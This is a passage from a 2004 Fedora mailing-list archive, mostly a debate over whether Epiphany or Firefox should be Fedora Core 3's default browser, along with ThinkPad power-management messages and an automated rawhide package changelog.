arrows, page up/down, special > windows keys so it could be dumped altogether - however it's the *most* > convenient alternative so that's what people want) > you said it very well....given that it was reported repeatedly... thats why I asked if you personally requested this in bugzilla (or in the epiphany mailing list). > Anyway I'm not objecting to the epy people choosing to follow their own > way, it's their project, it's just that IMHO with the official > GNOME/Fedora endorsement (that they got almost for free from day one) > they also got the obligation to target the whole GNOME/Fedora user base > and they've not been doing it well so far I fear. > > Despite all the noise Metacity raised it managed to capture most GNOME > users in a short time. Contrast it with Epiphany which is *still* > struggling to establish itself over Galeon, Mozilla and now Firefox. Well, epiphany isn't trying (as far as I know) to establish itself as the ultimate browser or to become the most popular browser in order to ratify being the default Gnome browser. And I don't think it needs to. Epiphany is the default Gnome browser because, the Gnome folks decided it was the kind of browser they wanted as official browser. -- Ricardo Veguilla From Nicolas.Mailhot at laPoste.net Tue Oct 12 11:22:41 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Tue, 12 Oct 2004 13:22:41 +0200 Subject: Default browser of FC3? In-Reply-To: <1097578136.2912.13.camel@ricardo.veguilla.net> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe.o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> Message-ID: <1097580161.25824.8.camel@ulysse.olympe.o2t> Le mardi 12 octobre 2004 ? 06:48 -0400, Ricardo Veguilla a ?crit : > On Tue, 2004-10-12 at 12:23 +0200, Nicolas Mailhot wrote: > > Le mardi 12 octobre 2004 ? 04:36 -0400, Ricardo Veguilla a ?crit : > > and if the epy people do not care enough about *me* to implement it > > after all this time (given that it was reported repeatedly), why there > > are lots of other browsers available. (plus the argument could be made > > that the wheel itself is redundant with arrows, page up/down, special > > windows keys so it could be dumped altogether - however it's the *most* > > convenient alternative so that's what people want) > > > > you said it very well....given that it was reported repeatedly... thats > why I asked if you personally requested this in bugzilla (or in the > epiphany mailing list). I don't think it ever made it to Gnome bugzilla, since I asked about it a few times and the answer always was "there are other alternatives, come back later" and someone even made the argument once that using the wheel would be against the HiG (which seems a real weird way of reading HiG rules if you ask me) Cheers, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From Nicolas.Mailhot at laPoste.net Tue Oct 12 11:26:17 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Tue, 12 Oct 2004 13:26:17 +0200 Subject: Default browser of FC3? In-Reply-To: <1097578136.2912.13.camel@ricardo.veguilla.net> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe.o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> Message-ID: <1097580377.25824.12.camel@ulysse.olympe.o2t> Le mardi 12 octobre 2004 ? 06:48 -0400, Ricardo Veguilla a ?crit : > Well, epiphany isn't trying (as far as I know) to establish itself as > the ultimate browser or to become the most popular browser in order to > ratify being the default Gnome browser. And I don't think it needs to. > Epiphany is the default Gnome browser because, the Gnome folks decided > it was the kind of browser they wanted as official browser. However if epiphany is not interested by the masses then it has no business being Fedora's default browser (as the Firefox people argue now and others did in the past). Fedora is anything but a niche distribution. Cheers, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From alan at redhat.com Tue Oct 12 11:38:52 2004 From: alan at redhat.com (Alan Cox) Date: Tue, 12 Oct 2004 07:38:52 -0400 Subject: APM/ACPI on ThinkPads [ Was: Fedora Core 3 Bug Status - 2004-10-11] In-Reply-To: References: <20041011161059.GA25927@nostromo.devel.redhat.com> <416B186A.6080203@redhat.com> Message-ID: <20041012113852.GE18766@devserv.devel.redhat.com> On Mon, Oct 11, 2004 at 11:53:49PM -0500, Satish Balay wrote: > I guess I would have to install the kernel from kernel.org to see if > the APM problem is an upstream issue.. At least on my thinkpad 600 APM is working with the errata 2.6.x kernels although it used to crash with older ones From veguilla at hpcf.upr.edu Tue Oct 12 11:49:26 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Tue, 12 Oct 2004 07:49:26 -0400 Subject: Default browser of FC3? In-Reply-To: <1097580377.25824.12.camel@ulysse.olympe.o2t> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe.o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> <1097580377.25824.12.camel@ulysse.olympe.o2t> Message-ID: <416BC4C6.8040302@hpcf.upr.edu> Nicolas Mailhot wrote: >Le mardi 12 octobre 2004 ? 06:48 -0400, Ricardo Veguilla a ?crit : > > > >>Well, epiphany isn't trying (as far as I know) to establish itself as >>the ultimate browser or to become the most popular browser in order to >>ratify being the default Gnome browser. And I don't think it needs to. >>Epiphany is the default Gnome browser because, the Gnome folks decided >>it was the kind of browser they wanted as official browser. >> >> > >However if epiphany is not interested by the masses then it has no >business being Fedora's default browser (as the Firefox people argue now >and others did in the past). Fedora is anything but a niche >distribution. > > Again, default browser only means, that it will be used by those who don't know any other browser. If I use firefox (which will be included in FC3) I will look for it in the Application menu. Its pretty simple, here are the two scenarios: a) I know what browser I want to use, (firefox, mozilla, konqueror or epiphany). Does it matter which one is default? No, I'll look for it, I know it exists, I know what is called, etc. b) I don't know any browser. I just want to go to google.com or cnn.com or whatever. I click in the menu where it says Internet Browser, and I get a very simple browser....thats what epiphany was designed for. People are obsesed with making the most popular browser the default as if it really were a statement of what browser fedora user like. It is not, and it shouldn't, in my opinion. Regards. From philip at balister.org Tue Oct 12 11:48:58 2004 From: philip at balister.org (Philip Balister) Date: Tue, 12 Oct 2004 07:48:58 -0400 Subject: APM/ACPI on ThinkPads [ Was: Fedora Core 3 Bug Status - 2004-10-11] In-Reply-To: References: <20041011161059.GA25927@nostromo.devel.redhat.com> <416B186A.6080203@redhat.com> <200410121334.03092.symbiont@berlios.de> Message-ID: <1097581738.2860.7.camel@localhost.localdomain> for Radeon laptops, it appears you need to patch the radeon-fb driver and build it into the kernel as a module. This should get suspend working, well resume working that is. I haven't tried this, but if someone needs the info, I can look it up. Philip On Tue, 2004-10-12 at 01:53, Satish Balay wrote: > On Tue, 12 Oct 2004, Jeff Pitman wrote: > > > On Tuesday 12 October 2004 12:53, Satish Balay wrote: > > > Personally I'd like to see APM be a blocker issue - as it worked for > > > all previous fedora/redhat (up to 6.2?) versions. (ACPI didn't really > > > work well before - so I'm not really comited to it) > > > > > > I guess I would have to install the kernel from kernel.org to see if > > > the APM problem is an upstream issue.. > > > > Last time I checked, it was a radeon driver issue. > > I have problems on both a 600E & T40 sugesting some common breakage. - > However the behavior is slightly different - so it could be a > combination of issues. (The 600E has NeoMagic chip whereas the T40 has > a radeon-9000) > > Satish From pmatilai at welho.com Tue Oct 12 11:52:55 2004 From: pmatilai at welho.com (Panu Matilainen) Date: Tue, 12 Oct 2004 14:52:55 +0300 (EEST) Subject: Default browser of FC3? In-Reply-To: <416BC4C6.8040302@hpcf.upr.edu> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe.o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> <1097580377.25824.12.camel@ulysse.olympe.o2t> <416BC4C6.8040302@hpcf.upr.edu> Message-ID: On Tue, 12 Oct 2004, Ricardo Veguilla wrote: > Nicolas Mailhot wrote: > > >Le mardi 12 octobre 2004 ? 06:48 -0400, Ricardo Veguilla a ?crit : > > > > > > > >>Well, epiphany isn't trying (as far as I know) to establish itself as > >>the ultimate browser or to become the most popular browser in order to > >>ratify being the default Gnome browser. And I don't think it needs to. > >>Epiphany is the default Gnome browser because, the Gnome folks decided > >>it was the kind of browser they wanted as official browser. > >> > >> > > > >However if epiphany is not interested by the masses then it has no > >business being Fedora's default browser (as the Firefox people argue now > >and others did in the past). Fedora is anything but a niche > >distribution. > > > > > Again, default browser only means, that it will be used by those who > don't know any other browser. > If I use firefox (which will be included in FC3) I will look for it in > the Application menu. > > Its pretty simple, here are the two scenarios: > > a) I know what browser I want to use, (firefox, mozilla, konqueror or > epiphany). Does it matter which one is default? No, I'll look for it, I > know it exists, I know what is called, etc. > b) I don't know any browser. I just want to go to google.com or cnn.com > or whatever. I click in the menu where it says Internet Browser, and I > get a very simple browser....thats what epiphany was designed for. So people who don't know better should be pointed to an inferior browser (well, any given application to perform some particular task)? > > People are obsesed with making the most popular browser the default as > if it really were a statement of what browser fedora user like. It is > not, and it shouldn't, in my opinion. Defaults should IMNSHO be about offering the best-of-breed applications to users. - Panu - From buildsys at redhat.com Tue Oct 12 11:57:33 2004 From: buildsys at redhat.com (Build System) Date: Tue, 12 Oct 2004 07:57:33 -0400 Subject: rawhide report: 20041012 changes Message-ID: <200410121157.i9CBvX430179@porkchop.devel.redhat.com> Updated Packages: ImageMagick-6.0.7.1-4 --------------------- * Mon Oct 11 2004 Tim Waugh 6.0.7.1-4 - The devel subpackage requires XFree86-devel (bug #126509). - Fixed build requirements (bug #120776). From Robert Scheck. autorun-3.14-1 -------------- * Mon Oct 11 2004 Harald Hoyer - 3.14 - translation update control-center-2.8.0-11 ----------------------- * Mon Oct 11 2004 Warren Togami - 1:2.8.0-11 - #135219 Preferred Applications hardcoded evolution-1.6 - Add Opera as browser and mail client cups-1.1.22-0.rc1.1 ------------------- * Mon Oct 11 2004 Tim Waugh 1:1.1.22-0.rc1.1 - 1.1.22rc1. eel2-2.8.1-1 ------------ * Mon Oct 11 2004 Alexander Larsson - 2.8.1-1 - update to 2.8.1 epiphany-1.4.4-1 ---------------- * Mon Oct 11 2004 Marco Pesenti Gritti - 1.4.4-1 - Add a devel package for extensions development * Mon Oct 11 2004 Marco Pesenti Gritti - 1.4.4-0 - Update to 1.4.4 fbset-2.1-17 ------------ * Mon Oct 11 2004 Bill Nottingham 2.1-17 - add URL (#122128) firefox-0.10.1-1.0PR1.10 ------------------------ * Tue Oct 12 2004 Christopher Aillon 0:0.10.1-1.0PR1.10 - Fix for 64 bit crash at startup (b.m.o #256603) foomatic-3.0.2-2 ---------------- * Mon Oct 11 2004 Tim Waugh 3.0.2-2 - Use gimp-print driver for HP 2000C (bug #133647). - Add autodetect information for Lexmark Z52 (bug #135178). * Thu Oct 07 2004 Tim Waugh - Add autodetect information for HP DJ 640C (bug #134912). gail-1.8.0-2 ------------ * Mon Oct 11 2004 Tim Waugh 1.8.0-2 - Build requires gtk-doc (bug #135037). gedit-2.8.1-1 ------------- * Mon Oct 11 2004 Dan Williams 1:2.8.1-1 - Update to 2.8.1 gnome-python2-2.6.0-3 --------------------- * Sun Oct 10 2004 Warren Togami - 2.6.0-3 - #111008 fixes Fixes from Ville Skytt?? Bad file permissions Unknown directories %doc fixes Fixes from Toshio Kuratomi Update the BuildRequires Changed BuildRequires on gnome-panel to gnome-panel-devel Add Requires for python-abi gnome-vfs2-2.8.2-1 ------------------ * Mon Oct 11 2004 Alexander Larsson - 2.8.2-1 - Update to 2.8.2 gnuplot-4.0.0-4 --------------- * Mon Oct 11 2004 Tim Waugh 4.0.0-4 - Build requires texinfo and readline-devel (bug #134922). gperf-3.0.1-4 ------------- * Mon Oct 11 2004 Ivana Varekova - minor spec updates grep-2.5.1-30 ------------- * Mon Oct 11 2004 Tim Waugh 2.5.1-30 - Applied patch from Robert Scheck to tidy spec file and add a URL tag (bug #135185). kernel-2.6.8-1.607 ------------------ * Mon Oct 11 2004 Dave Jones - Rebase to 2.6.9-rc4 - Enable CONFIG_MICROCODE for x86-64 * Fri Oct 08 2004 Dave Jones - Rebase to 2.6.9-rc3-bk8 kernel-utils-2.4-13.1.28 ------------------------ * Mon Oct 11 2004 Dave Jones - Add salinfod for ia64. (#133268) libuser-0.52.5-1 ---------------- * Tue Oct 12 2004 Miloslav Trmac - 0.52.5-1 - Fix home directory renaming in ADMIN.modifyUser (#135280) - Further Python reference counting fixes ltrace-0.3.35-1 --------------- * Mon Oct 11 2004 Jakub Jelinek 0.3.35-1 - update to 0.3.35 - update syscall tables from latest kernel source mailcap-2.1.17-1 ---------------- * Mon Oct 11 2004 Bill Nottingham 2.1.17-1 - pdfs -> back to ggv mozilla-1.7.3-13 ---------------- * Tue Oct 12 2004 Christopher Aillon 37:1.7.3-13 - Fix for 64 bit crash at startup (b.m.o #256603) nabi-0.14-3 ----------- * Tue Oct 12 2004 Leon Ho - add NoDisplay=true to .desktop to hide desktop entry nautilus-2.8.1-1 ---------------- * Mon Oct 11 2004 Alexander Larsson - 2.8.1-1 - update to 2.8.1 * Fri Oct 08 2004 Alexander Larsson - 2.8.0-3 - Backport more fixes from cvs * Mon Oct 04 2004 Alexander Larsson - 2.8.0-2 - Backport various bugfixes from HEAD nautilus-cd-burner-2.8.3-5 -------------------------- * Tue Oct 12 2004 Alexander Larsson - 2.8.3-5 - Make unmount patch slighly better ntp-4.2.0.a.20040617-4 ---------------------- * Mon Oct 11 2004 Harald Hoyer - 4.2.0.a.20040617-4 - removed firewall hole punching from the initscript; rely on iptables ESTABLISHED,RELATED or manual firewall configuration pam-0.77-61 ----------- * Mon Oct 11 2004 Tomas Mraz 0.77-61 - #129328 pam_env shouldn't abort on missing /etc/environment - #126985 pam_stack should always copy the conversation function - #127524 add /etc/security/opasswd to files pango-1.6.0-3 ------------- * Mon Oct 11 2004 Colin Walters - 1.6.0-3 - BR xorg-x11-devel instead of XFree86-devel perl-Net-DNS-0.48-1 ------------------- * Mon Oct 11 2004 Warren Togami 0.48-1 - #119983 0.48 fixes bugs pyparted-1.6.8-2 ---------------- * Mon Oct 11 2004 Warren Togami - 1.6.8-2 - #135100 req python-abi (Robert Scheck) rpm-4.3.2-12 ------------ * Mon Oct 11 2004 Jeff Johnson 4.3.2-12 - python: remove ".A" from creaky ts.check() tuple return (#135008). rpmdb-fedora-2.92-0.20041012 ---------------------------- sane-backends-1.0.14-6 ---------------------- * Sun Oct 10 2004 Tim Waugh 1.0.14-6 - Make man pages identical on multilib installations. setserial-2.17-17 ----------------- * Mon Oct 11 2004 Tim Waugh 2.17-17 - Spec file tidying by Robert Scheck (bug #135182). slrn-0.9.8.1-1 -------------- * Mon Oct 11 2004 Jindrich Novy 0.9.8.1-1 - update to 0.9.8.1 swig-1.3.21-6 ------------- * Mon Oct 11 2004 Tim Waugh 1.3.21-6 - Build requires tcl-devel (bug #134788). sysfsutils-1.2.0-1 ------------------ * Mon Oct 11 2004 AJ Lewis 1.2.0-1 - Update to upstream version 1.2.0 system-config-services-0.8.12-1 ------------------------------- * Mon Oct 11 2004 Nils Philippsen 0.8.12-1 - really update UI when reading from pipes (#120579, #135215) tar-1.14-4 ---------- * Mon Oct 11 2004 Peter Vrabec - patch to stop issuing lone zero block warnings - rebuilt * Mon Oct 11 2004 Peter Vrabec - URL added to spec file - spec file clean up thunderbird-0.8.0-6 ------------------- * Tue Oct 12 2004 Christopher Aillon 0.8.0-6 - Fix for 64 bit crash at startup (b.m.o #256603) tzdata-2004e-2 -------------- * Mon Oct 11 2004 Jakub Jelinek 2004e-2 - 2004e (#135194) - updates for Brazil, Uruguay and Argentina * Wed Aug 04 2004 Jakub Jelinek 2004b-2 - 2004b * Mon Oct 06 2003 Jakub Jelinek 2003d-1 - 2003d unix2dos-2.2-23 --------------- * Mon Oct 11 2004 Tim Waugh 2.2-23 - Apply H J Lu's patch to preserve file mode (bug #91332). util-linux-2.12a-12 ------------------- * Mon Oct 11 2004 Phil Knirsch 2.12a-12 - Add the missing remote entry in pam.d xpdf-3.00-7 ----------- * Mon Oct 11 2004 Than Ngo 3.00-7 - fix locale issue #133911 From veguilla at hpcf.upr.edu Tue Oct 12 12:08:16 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Tue, 12 Oct 2004 08:08:16 -0400 Subject: Default browser of FC3? In-Reply-To: References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe.o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> <1097580377.25824.12.camel@ulysse.olympe.o2t> <416BC4C6.8040302@hpcf.upr.edu> Message-ID: <416BC930.8060101@hpcf.upr.edu> Panu Matilainen wrote: >On Tue, 12 Oct 2004, Ricardo Veguilla wrote: > > >>Its pretty simple, here are the two scenarios: >> >>a) I know what browser I want to use, (firefox, mozilla, konqueror or >>epiphany). Does it matter which one is default? No, I'll look for it, I >>know it exists, I know what is called, etc. >>b) I don't know any browser. I just want to go to google.com or cnn.com >>or whatever. I click in the menu where it says Internet Browser, and I >>get a very simple browser....thats what epiphany was designed for. >> >> > >So people who don't know better should be pointed to an inferior browser >(well, any given application to perform some particular task)? > > You might find it inferior because you are used to work with more advanced tools, but thats your point of view. A new user might think different. >>People are obsesed with making the most popular browser the default as >>if it really were a statement of what browser fedora user like. It is >>not, and it shouldn't, in my opinion. >> >> > >Defaults should IMNSHO be about offering the best-of-breed applications to >users. > Will you set openoffice/kword/abiword as the default application for "text" files? or gimp as the default app for opening images? Regards, Ricardo Veguilla From akabi at speakeasy.net Tue Oct 12 12:21:48 2004 From: akabi at speakeasy.net (ne...) Date: Tue, 12 Oct 2004 08:21:48 -0400 (EDT) Subject: Default browser of FC3? In-Reply-To: <416BC4C6.8040302@hpcf.upr.edu> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe.o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> <1097580377.25824.12.camel@ulysse.olympe.o2t> <416BC4C6.8040302@hpcf.upr.edu> Message-ID: On Oct 12, 2004 at 07:49, Ricardo Veguilla in a soothing rage wrote: >Nicolas Mailhot wrote: > >>Le mardi 12 octobre 2004 ? 06:48 -0400, Ricardo Veguilla a ?crit : >> >>>Well, epiphany isn't trying (as far as I know) to establish itself as >>>the ultimate browser or to become the most popular browser in order to >>>ratify being the default Gnome browser. And I don't think it needs to. >>>Epiphany is the default Gnome browser because, the Gnome folks decided >>>it was the kind of browser they wanted as official browser. I agree with this. Gnome folk have the right to choose which browser is their default. >>However if epiphany is not interested by the masses then it has no >>business being Fedora's default browser (as the Firefox people argue now >>and others did in the past). Fedora is anything but a niche >>distribution. I would put this another way. The choice of default browser for Fedora should be based on the functionality it provides first, and all other considerations come next. The default browser should be the one that 99.9% of the users can use that will provide the required functionality of what a browser should be. When users decide they do not like something about it, they can go searching for another browser. Does this mean that whatever is default for Gnome does not automagically become default for Fedora? In my mind yes. >Again, default browser only means, that it will be used by those who >don't know any other browser. >If I use firefox (which will be included in FC3) I will look for it in >the Application menu. Again I state that the choice of default browser for Fedora should be based on the functionality it provides. >Its pretty simple, here are the two scenarios: > >a) I know what browser I want to use, (firefox, mozilla, konqueror or >epiphany). Does it matter which one is default? No, I'll look for it, I >know it exists, I know what is called, etc. >b) I don't know any browser. I just want to go to google.com or cnn.com >or whatever. I click in the menu where it says Internet Browser, and I >get a very simple browser....thats what epiphany was designed for. > >People are obsesed with making the most popular browser the default as >if it really were a statement of what browser fedora user like. It is >not, and it shouldn't, in my opinion. One person's obsession is another person's discussion. I have yet to see anyone state what additional functionality Epiphany provides over Mozilla, Galeon, Firefox, Konqueror or even links. If it does not provide any additional functionality over Mozilla and Mozilla is included in Fedora, it should be dropped. The fact that it is Gnome's default browser is irrelevant. The distribution is Fedora, not Gnome. There have been threads in the past that have dealt with bloat. By adding yet another browser to the distribution, with no additional functionality over what was already being provided, bloat is being added. Pretty soon it adds up. A meg here, a meg there, it all adds up. Just my ha'pennies worth. N.Emile... -- Registered Linux User # 125653 (http://counter.li.org) Switch to: http://www.speakeasy.net/refer/190653 Hmmm ... a PINHEAD, during an EARTHQUAKE, encounters an ALL-MIDGET FIDDLE ORCHESTRA ... ha ... ha ... 08:01:39 up 106 days, 1:16, 4 users, load average: 0.00, 0.00, 0.00 From lars at homer.se Tue Oct 12 12:35:18 2004 From: lars at homer.se (Lars E. Pettersson) Date: 12 Oct 2004 14:35:18 +0200 Subject: Default browser of FC3? In-Reply-To: <1097412041.16243.47.camel@ricardo.veguilla.net> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <41687F80.5040309@homer.se> <1097372125.8141.72.camel@ricardo.veguilla.net> <41691AA6.8020506@homer.se> <1097412041.16243.47.camel@ricardo.veguilla.net> Message-ID: <1097584518.7568.36.camel@iving.oso.chalmers.se> On Sun, 2004-10-10 at 14:40, Ricardo Veguilla wrote: > On Sun, 2004-10-10 at 13:19 +0200, Lars E. Pettersson wrote: > > On 10/10/2004 03:35 AM, Ricardo Veguilla wrote: ... > I read the thread. Are you reading my questions? I didn't ask anyone > "Why should Firefox be the default?", I use firefox regularly, I know > how good it is, and I know why it will be convenient to used it as > default browser. Why not use it as default for Fedora then? > But what I asked was "Whats wrong with epiphany?" and when you extended > the dicussion to "Why not *insert my favorite browser here*?" you > changed the discussion. No, no change in the discussion, I just wanted you to open your eyes for the alternatives a bit. When deciding a default for a distribution, you have to go through *all* alternatives, not just one, or a very selected few. > > First, I think the "tightly integrated to Gnome" is irrelevant as Fedora > > is not a Gnome only distribution. > > Well if Fedora includes Gnome and Gnome is designed to be tightly > integrating, then it is relevant to Fedora. The same thing happens with > KDE. If KDE is designed to be flexible and customizable, then Fedora > shouldn't break that user experienced. But it is breaking the user experience for Kde users by having a tightly integrated (in Gnome) Gnome application as a systems default. I do not think that the Kde users appreciate this. Perhaps a systems default is a bad choice, perhaps we should have one default for Gnome, one for Kde, one for xfce, and so on. > I disagree again, popularity is important for deciding what to include, > but its meaningless for the "default application" issue. Defaults are > for newbies. An experienced user will use his preferred application, no > matter what the default is. > > An new user shouldn't need help using the browser... thats the whole > point of using epiphany (or any simple browser). The majority of new users come from the Windows world. These are used to certain level of functionality in browsers (and other applications as well), why give these an application that have less function than the browsers they are used to? The number of total computer newbies that never have sat behind/in-front of a computer, and start using Linux, is very low. The vast majority have experience from Microsoft Windows. That is the reality, at least from where I come. So the default should reflect what most people use, and want to use. On what grounds was Epiphany selected as Gnome default, and on what grounds has it been selected as Fedora systems default? Lars -- Lars E. Pettersson http://www.sm6rpz.se/ From lars at homer.se Tue Oct 12 12:38:51 2004 From: lars at homer.se (Lars E. Pettersson) Date: 12 Oct 2004 14:38:51 +0200 Subject: Default browser of FC3? In-Reply-To: <416BC930.8060101@hpcf.upr.edu> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@k yrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b @mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.1 5435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe .o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> <1097580377.25824.12.c amel@ulysse.olympe.o2t> <416BC4C6.8040302@hpcf.upr.edu> <416BC930.8060101@hpcf.upr.edu> Message-ID: <1097584731.7568.41.camel@iving.oso.chalmers.se> On Tue, 2004-10-12 at 14:08, Ricardo Veguilla wrote: > Panu Matilainen wrote: ... > >Defaults should IMNSHO be about offering the best-of-breed applications to > >users. I agree with Panu here. > Will you set openoffice/kword/abiword as the default application for > "text" files? or gimp as the default app for opening images? Bad examples. Openoffice/kword/abiword are not suited for text (i assume you mean plain text) files. Gimp is not suited as a default for opening images (as most people open an image to view it, not change it.) Lars -- Lars E. Pettersson http://www.sm6rpz.se/ From veguilla at hpcf.upr.edu Tue Oct 12 12:41:39 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Tue, 12 Oct 2004 08:41:39 -0400 Subject: Default browser of FC3? In-Reply-To: References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe.o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> <1097580377.25824.12.camel@ulysse.olympe.o2t> <416BC4C6.8040302@hpcf.upr.edu> Message-ID: <1097584900.4143.12.camel@ricardo.veguilla.net> On Tue, 2004-10-12 at 08:21 -0400, ne... wrote: > >People are obsesed with making the most popular browser the default as > >if it really were a statement of what browser fedora user like. It is > >not, and it shouldn't, in my opinion. > > One person's obsession is another person's discussion. I have yet to > see anyone state what additional functionality Epiphany provides over > Mozilla, Galeon, Firefox, Konqueror or even links. I disagree, because the functionality of the browser is determined by what the app was designed to accomplish (or what the developers decided it should accomplish). Epiphany wasn't designed to read email (like the original Mozilla) or to a file-manager (like Konqueror). > If it does not > provide any additional functionality over Mozilla and Mozilla is > included in Fedora, it should be dropped. Well, looking at it in those terms, lets drop Mozilla,Firefox,Epiphany and Nautilus and just use Konqueror (and obviously Gnome will have to go too). > The fact that it is Gnome's > default browser is irrelevant. The distribution is Fedora, not Gnome. Well, then Fedora may be breaking Gnome by using a different browser. I know that the Fedora community has the right to do so, but the Gnome user within the community have also the right to say "if you are going to include Gnome, don't break it". > There have been threads in the past that have dealt with bloat. By > adding yet another browser to the distribution, with no additional > functionality over what was already being provided, bloat is being > added. Pretty soon it adds up. A meg here, a meg there, it all adds > up. Just my ha'pennies worth. That is the price we pay for freedom of choice. Regards, -- Ricardo Veguilla From pmatilai at welho.com Tue Oct 12 12:41:03 2004 From: pmatilai at welho.com (Panu Matilainen) Date: Tue, 12 Oct 2004 15:41:03 +0300 (EEST) Subject: Default browser of FC3? In-Reply-To: <416BC930.8060101@hpcf.upr.edu> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe.o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> <1097580377.25824.12.camel@ulysse.olympe.o2t> <416BC4C6.8040302@hpcf.upr.edu> <416BC930.8060101@hpcf.upr.edu> Message-ID: On Tue, 12 Oct 2004, Ricardo Veguilla wrote: > Panu Matilainen wrote: > > >On Tue, 12 Oct 2004, Ricardo Veguilla wrote: > > > > > >>Its pretty simple, here are the two scenarios: > >> > >>a) I know what browser I want to use, (firefox, mozilla, konqueror or > >>epiphany). Does it matter which one is default? No, I'll look for it, I > >>know it exists, I know what is called, etc. > >>b) I don't know any browser. I just want to go to google.com or cnn.com > >>or whatever. I click in the menu where it says Internet Browser, and I > >>get a very simple browser....thats what epiphany was designed for. > >> > >> > > > >So people who don't know better should be pointed to an inferior browser > >(well, any given application to perform some particular task)? > > > > > You might find it inferior because you are used to work with more > advanced tools, but thats your point of view. > A new user might think different. That assumes that using Firefox is somehow more difficult than Epiphany (in this context). Which it is not, you don't need to fiddle around with dozens of options to get it working, it "just works". So does Epiphany, but it lacks many real-world useful features which both Mozilla and Firefox have. > >>People are obsesed with making the most popular browser the default as > >>if it really were a statement of what browser fedora user like. It is > >>not, and it shouldn't, in my opinion. > >> > >> > > > >Defaults should IMNSHO be about offering the best-of-breed applications to > >users. > > > Will you set openoffice/kword/abiword as the default application for > "text" files? Certainly not, those are word processors not text editors. > or gimp as the default app for opening images? Viewing no, for all it's might Gimp is not suitable for that purpose at all. For editing, absolutely. - Panu - From lars at homer.se Tue Oct 12 12:44:33 2004 From: lars at homer.se (Lars E. Pettersson) Date: 12 Oct 2004 14:44:33 +0200 Subject: Default browser of FC3? In-Reply-To: <1097584900.4143.12.camel@ricardo.veguilla.net> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe.o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> <1097580377.25824.12.camel@ulysse.olympe.o2t> <416BC4C6.8040302@hpcf.upr.edu> <1097584900.4143.12.camel@ricardo.veguilla.net> Message-ID: <1097585073.7546.45.camel@iving.oso.chalmers.se> On Tue, 2004-10-12 at 14:41, 